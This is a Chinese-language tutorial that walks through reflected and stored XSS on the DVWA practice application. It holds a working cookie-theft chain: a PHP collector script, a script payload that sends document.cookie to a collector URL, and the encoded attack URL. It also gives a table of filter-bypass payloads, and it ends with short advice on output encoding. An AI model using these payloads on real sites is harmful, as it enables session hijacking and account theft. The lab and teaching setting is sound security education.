登录
登录DVWA后设置好对应的等级点击打开XSS
测试
测试XSS注入
~~~php
<script>alert('显示则表明存在XSS注入')</script>
~~~
如上图我们能够确定的确是存在XSS注入的
注:在XSS注入的过程中我们使用的弹窗函数有:
alert(“弹出警告窗口”)
confirm(“弹出确认窗口”)
prompt(“弹出输入参数确认窗口”)
验证XSS漏洞之后我们进行攻击过程复现
攻击过程:
首先我们在本地服务器创建一个cookie.php脚本用来恶意获取用户的cookie地址
<?
$cookie = $_GET["cookie"];
file_put_contents('cookie.txt',$cookie);
?>
然后构造攻击的js脚本:
<?
<script>
document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;
</script>
?>
~~~
构造攻击的URL:
~~~url
http://localhost/dvwa/vulnerabilities/xss_r/?name=<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>
编码成对应的url
http://localhost/dvwa/vulnerabilities/xss_r/?name=%3cscript%3edocument.location=%27http://127.0.0.1/cookie.php?cookie=%27+document.cookie;%3c/script%3e
访问之后我们的服务器根文件目录新建了一个cookie.txt文件
打开文件cookie.txt文件查看文件内容发现:
存储的正是我们网站访问的cookie信息,窃取到cookie之后,
攻击者可以进一步利用对应的cookie信息进行其他违法操作,使得受害者遭受损失。
存储型的XSS同样操作,只是对应的攻击XSS内容存储在数据库中,每次访问都会复现构造的XSS攻击
因此,存储型的XSS能够及时更新我们本地的cookie信息,从而使得危害更大。
进阶
XSS攻击进阶:
在LOW中,系统没有对用户输入的数据进行任何形式的过滤,所以比较容易攻击
下面就过滤的情况进行对应的方法破解:
修改方法 | 破解方法 | 解释 |
进行script一次过滤 | <scr<script>ipt></script> | 对标签<script>过滤之后剩下的内容有构成了新的完整的script标签 |
进行scpipt多次过滤 | <ScripT></ScriPt> | 对标签进行大小写混写的操作,从而无法进行过滤 |
对script各种形式进行了过滤 | <img src=x οnerrοr=alert("XSS")> | img标签加载错误的情况下会执行onerror上面的函数 |
对img和script过滤 | <iframe οnlοad=alert("XSS")> | iframe框架标签也能够执行对应的函数 |
htmlspecialchars函数进编码过滤 | 无 | 默认不编码单引号 |
XSS的防范中最重要的的进行输出的过滤:
输出HTML时我们进行对应的HTML编码
输出JS时我们进行对应的JS转义